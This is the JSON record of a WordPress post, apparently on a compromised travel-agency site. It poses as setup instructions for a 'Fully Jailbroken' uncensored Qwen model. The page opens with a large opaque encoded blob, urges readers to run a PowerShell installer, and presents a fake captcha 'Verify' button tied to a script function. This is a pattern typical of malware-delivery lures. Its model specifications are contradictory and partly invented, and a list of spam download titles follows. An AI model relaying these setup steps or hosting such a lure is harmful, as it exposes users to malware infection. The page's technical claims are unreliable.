gl\/djdj5mL7xaieHLMqVXjUbN7tI8Tu8ps0JoYEFx43+S78tuX\/rOHpKIRZ91Ly6Ycj9161ILMb0zsRNlbyOEL1eTeJXLerdaVH6jPXY047pwcp1N7WyetxWXgjNTttui1Sjv9zKrI+eGDkTx1\/gK3vU2ay89whlZQZ9GHfjcSuD\/+7sSYv+4GQxqHMRtR0wKcD+2t3HvTPOkC2SYYn20rryr4Pb52OzV+iOXEADr6p410urO7FGKZgy1VXonLwoiAT5Bc\/4nsyzS1RWOJVwwCRjArQ\/qYQQVE\/HSb5X6VGBGfszOMoOs7pI0FIO4\/icDMu9hHev0Vqy8NeUadSAvJh2P3kjcqrl\/ul4fFiWWPvNcakgbHarFpDMG4AAU41eFAAAAQ8uq9oEMci3A6sy9aNqf+VyVzOiegs\/OXewaRxz8n3Icx8TaMfQq7sIouk\/WmtJZl9\/2A0UZSza+ddtxiG9SnwVNjHNh7Mzz+TG5+oYv3xE7S4uUAeaU35Q5MDBax3ikkog4zcu7\/7sWOFpYTr4eIvciHkGXpvTynKe7bYyzZyTP+uacjjaRXdRkrmUfBYShbCIc8lJaJq1QR97zPw1Emch9xroN1nIzH2qeW6kn6mJX9DCqADdWrwP6o5VPWzovzOvm9FB+EWdpCpNhII2HKVpA\/WIExCcTFUpdHr3legU20ZeHaNmy6OYjdaPzhTOuj0jOqw6C226TcNYk7VKc\/ekh+o1ekPaMHHEk51a\/\/jRp+chc1t9MqypFUJN6ESjK+MAQV8\/PQahZ7H\/nXBAvFL6en3z+c2zNFOED1BcmYMRWfoaLf6jDHQ462v31K2S2a9U\/l+1M56viwhlq0tUfLtHjJB8107x1RZ3NzTH3FCht4Tu+JE9AfnqE6An8nZR9Yj06dPcxqPjxKGTMyDqDDZyVh9CA\/gVvXGGL8Ya+H8q+zOGYKY6clmIPSJgOvqM8NKcnu8Rs9wlzQxfcItnVyC\/B3zwYV1yS9XtYVdEQ385K6UVknqIJQ\/\/mq9OpVEc7Ouf9DKLN0DLvBuWcjgpfz6Upcwpj0JR9hGLYXoiAdPffbt5dYWA0+a7yu\/Mocv5EM65VS6JZl\/L+GdlXInjsJAyXdTVJVzmkKQYuP4mHgdsCJRTTYwKaBR8ROLAo0OBz+gAAAAApU+2TFAYsISdwIDAAyMmABXrOHqpGPn3DEFGI+Rql271mDAKe4O40gWFzuCQeyW63OnIutbHK\/cufW88h6uNv4wcu8pqUTerP1iLGIVAVkWThmZiOHYai8yfxoCzFVyQ+49Ubsu0uIusLSqR93VJ5lQRJq7NeeIlSUMKvkJtf+Z7lhkIncyfChWes58AIkq6tKReND3nx++hRenrsKIYEGVyzJR8rc9mlErS\/u3YupIPyOWhKZAIOsV93aW2hBRmDr62jo\/Z8RZsd0xi2JnVhvRIQ5tFrycRKgfD2ZzrMve6zcJFPg1GOr5d4oTeIvLwVSFZgxZAokHIlI\/B998gbXJXMUXrPW82qfII5KxzUZJTtW\/d2H6EkoWiV2Y0\/E5tX6KCR5zsEnngGJtub0Gi51IwQ+lJwaR6fUYfAV6lozP5Od2+sjFRfpVJzdenopBFEZeo30dfyb\/k+yahtRun4uzBojZMMwnp2pi7hrRXzojlzn7JbQTPuhZ7nDhEKfM3SSvqp\/tn5HH9QkjLU96xtljGh+YAww8X52FJOMRQbqzh7x1V\/k6O9fJNdRDDGeCCGKFL9einBA8Ka+KgtP9VblICR\/KUwdiCZWhobuORtHGm7PqYlvwOm4VXt1dPqDLOb3+tApXOStnOhCgn\/buveDKUjS7HZ5ydTTwjxt5tj47+N9\/0f6aMrwkBkc84hx2B5G\/G17YLC\/H7aj38cJXwZyHOr8wxbgZnUYV+weyEBIvuVK8qIVTmsoO03aX6WiEp2wPXIIz+bUB1LPAkzQdMVgLgIScoMuvI8dg+gAXoQAuwSbl09wuY206nr4KTib8CTubbKZgOMPfLWO252jpD8LbYKi0l8MjQIpZikjpsoDAVljCmZfdKCenzRnpsmDpVa0IzOJWvrjqbpwcbSU1w70GquxMoggLQkl3\/hhb7l2ZAW2s2PpjbDtKFYNgteQ1DPX2L3czCXYAzBN9GuNoyzYcCDAsb\/9\/jbyj+KG8\/3etPJUppA76TQ782ErkdorB3Q8C6rQocckvGcZZbXogazBBTg2b89j+UbFmVjp2yMxzsJxvkXu99clZTa\/weGFNo1S9R+FOLAslctsFja2OwG+rCevpjYoHTQMi63yoC2vlc8mZKZLdbAcZxrbelP2ceImsO+WCB0gMHNB+Al9bRFe9tEMIysindFJVNSEaoezQ+GsXnZr9JDQZGFTapV74HMHWvIdBVU2qj2KDmPNrtk4AG4HMTLIcKPpMZ2aJeLbOf03oIGkOw4f31sNioJBgry25R0bLH1ocro2ISBNb7vhTfQmdWKWYqOfeANyX2a0KSPyzWvbn\/3YyI2qNI2xXmnHtYy2Hqnsj1fgvzwH8gQlDUT+\/k19mgWYDr3BJ1trIWFf\/C2Bso4SkrQQTz\/m0Toaj37ajnlzUfAYY4wu8xw9rQ7m2qo32CNU0XoA60dtMceFo3J9p7I1zVIiLxTY6J+6m\/8tTx2fyf4PPNk97l6ZzV3QcAz+CHHhgkeuooS3e5gpDRpxROu0ccaKchPARQaLrkLse5eFW67lfWB6iEQAClXIv5xrFSfiXXaaKUmm2hZuC\/4seoBp6U6e7BpPghX9irh7FAvU5Mzm9Bp4MPOCvy\/3gWw1clrYPA4f7Rz\/CdfTgn+qlEB\/iku7Hzw7vfVElQKkXyDE2i6TEy7W4UDCP2x2qaOvohP5ipYzbeXR5I9AfJ1aize6w5sIiw\/lomKwd\/3EI5ZC1oh8JzN\/Zb47\/urLjGf5kIr1wakaIQlijw3505BP8cUQ\/otB5jo89plxuFEQHjEeS1BGKsKD4Sh\/8mXxGRzpfvk9umd86NCiKl9NRUfUvO5IGx8VSOJVMYf\/dMfLUcdN6NhpUQT43uTpceZhO7RvYaDLft\/Ny62DU0OSy7Ychacu5B0o33jsIWsDokQmu5SYLLhYkDpgQMn566iwIZQF55O\/xTG1JGCG6nDYNmo1CgT6aKBjNHj6CsoNwyR8S5sk\/Z04N6pv\/kDQrD3XEs9GKEkrxDgEq5516vpowqRtGeq0tt976K3ZssAFed9xTCUxDcEk9S5hWhiSrQ5HJSiGvlYwlN7gik0zUJegEiHNomcxdI7RMp4XFJk\/5AUhqEJUe0wnOYUNxR9laXZ08qybzdple2ZjA7W77RjCyQo0pPAjn2EYVSbU7jBgLF8yqIaO7wr3kuvk\/aRHX+4cCDAtBxDLNyA6X4xjtgrnbbsHHfnXhHmA1tiGbj9bB88N7+SBcvm7O5iMQwt3e3Q93kE929QLKIhB8jqwFEKriaWQciOcoxl1jQHzpdOVwg3fTHgrrbFxxurqc94ouiHCWE7P2\/dxFu0ZyEmbku1R5w3E\/pcHz0XkWehVKS7l\/xzv+0IIaSsTsJ4vK7zXgPCvPAsVSy1qPP9kR0BKbrEZ8wLzCGCXgz\/vLD5Uh3\/GKOTdueVUf0LSInwZtm6+zUqYwFag7LD+Jttxnq9P1nnu4JnpIj4C6hGZaNVi4pT9bSKyquAGYk7ETKa6Bbrc7GK4uy4ORB+eb169c6rFo7b4IQyZoW1glsFF\/R9f\/CqocSPoEWkWeFPvDQXdJQUD4wbgSFBW240sTqaP40rjkdG3sxxuZmWZnTbzfI2RbrSa5\/ugTS4PRwHdusO9XxLztsisHVlYaO9xtkk\/Uk1pFn8N\/9BIRW\/jRq2CN+KTZE5PtMT7iV1H6fxOT9mT7IFxRrLy9EXnh5iaHUSprHFUkPq\/43sWkG0aKjjPbYq81wvQcUM8RQKxHeK88tFfe\/P4KP4A4CGAm0ERungskoQYDjHNOXCH6riEHejCkZ96XtxOiw61UIhAdeNTGIVFbbWOy\/oLiCkXF8w51nIz11tvHRQhA5w\/7jzYImm+Z3X83M8mdjUeF8zlvexgYADYY9sWg2\/q\/+G5SFK719xE+WZkkouHrJVMZ1u+2LLbuRjE\/DU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alt=\"Qwen3.6-35B-A3B-MLX-4bit on AMD\/Nvidia GPU Fully Jailbroken\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>Running this model locally is <i>fastest<\/i> when deployed through a <b>PowerShell script<\/b>.<\/p>\n<p>Use the <b>instructions<\/b> provided below to complete the setup.<\/p>\n\n<p><i>Be patient as the system self-retrieves massive model weights dynamically.<\/i><\/p>\n\n<p>You don&#8217;t need to tweak anything; the installer <b>picks the highest performing setup<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:12px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 8px 20px rgba(0,0,0,0.04);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:35px 45px;text-align:center;font-size:15px;color:#64748b;line-height:1.6;\">\n<div style=\"text-align: left;font-size:11px\">\n<div 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:28px;padding-left:23px;margin-left:0;\">\n<li><strong>Processor:<\/strong> high <strong>single-core<\/strong> performance needed for token latency<\/li>\n<li><b>RAM:<\/b> enough space for <b>background apps<\/b> and OS overhead<\/li>\n<li><strong>Storage:<\/strong> extra room for <strong>future model updates<\/strong> and datasets<\/li>\n<li><strong>Graphic Processor:<\/strong> hardware <strong>Tensor Cores<\/strong> support needed for FP16 acceleration<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.6-35B-A3B-MLX-4bit<\/b> model represents a significant advancement in open\u2011source language models, delivering strong performance while maintaining a compact footprint. Built on the <i>A3B<\/i> architecture, it leverages <b>4\u2011bit MLX quantization<\/b> to achieve efficient inference on consumer\u2011grade hardware. With <b>35\u202fbillion parameters<\/b> and an <i>8K token context window<\/i>, the model excels at both reasoning and generation tasks. It supports <b>multi\u2011language understanding<\/b> and integrates seamlessly with the <i>MLX ecosystem<\/i> for optimized deployment. The following table summarizes the key technical specifications that differentiate this model from its predecessors.    <\/p>\n<table>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td>Qwen3.6-35B-A3B-MLX-4bit<\/td>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>35\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture<\/b><\/td>\n<td>A3B<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization<\/b><\/td>\n<td>4\u2011bit MLX<\/td>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<\/table>\n<p>  Overall, the combination of high capacity and low\u2011bit quantization makes <b>Qwen3.6-35B-A3B-MLX-4bit<\/b> an attractive choice for developers seeking powerful yet resource\u2011friendly AI solutions.<\/p>\n<ol>\n<li>Downloader pulling specialized network security log parsing local setups<\/li>\n<li>How to Install Qwen3.6-35B-A3B-MLX-4bit 100% Private PC Uncensored Edition Direct EXE Setup<\/li>\n<li>Downloader for optimized AnimateDiff v3 camera motion profiles for local video AI nodes<\/li>\n<li>How to Deploy Qwen3.6-35B-A3B-MLX-4bit Offline Setup Windows<\/li>\n<li>Setup tool installing LocalAI server layers with comprehensive DeepSeek-Coder infrastructure pipelines<\/li>\n<li>Qwen3.6-35B-A3B-MLX-4bit Windows 11 No Python Required For Beginners Windows<\/li>\n<li>Setup tool initializing prefix-caching parameters inside production-tier vLLM clusters<\/li>\n<li>Quick Run Qwen3.6-35B-A3B-MLX-4bit Windows 11<\/li>\n<li>Downloader pulling specialized structural logs analysis models for security auditing<\/li>\n<li>Deploy Qwen3.6-35B-A3B-MLX-4bit PC with NPU<\/li>\n<li>Setup utility configuring sub-millisecond local translation overlay setups for immersive gaming stations<\/li>\n<li>How to Autostart Qwen3.6-35B-A3B-MLX-4bit 5-Minute Setup FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Running this model locally is fastest when deployed through a PowerShell script. Use the instructions provided below to complete the setup. Be patient as the system self-retrieves massive model weights dynamically. You don&#8217;t need to tweak anything; the installer picks the highest performing setup. \ud83d\uddb9 HASH-SUM: 92bdbafad1213e0c21bf8682ecec8032 | \ud83d\udcc5 Updated on: 2026-07-02 Verify Processor: high [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[50],"tags":[],"class_list":["post-2030","post","type-post","status-publish","format-standard","hentry","category-safetensors"],"_links":{"self":[{"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=\/wp\/v2\/posts\/2030","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2030"}],"version-history":[{"count":1,"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=\/wp\/v2\/posts\/2030\/revisions"}],"predecessor-version":[{"id":2031,"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=\/wp\/v2\/posts\/2030\/revisions\/2031"}],"wp:attachment":[{"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2030"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2030"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/flyingqueentourntravels.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2030"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}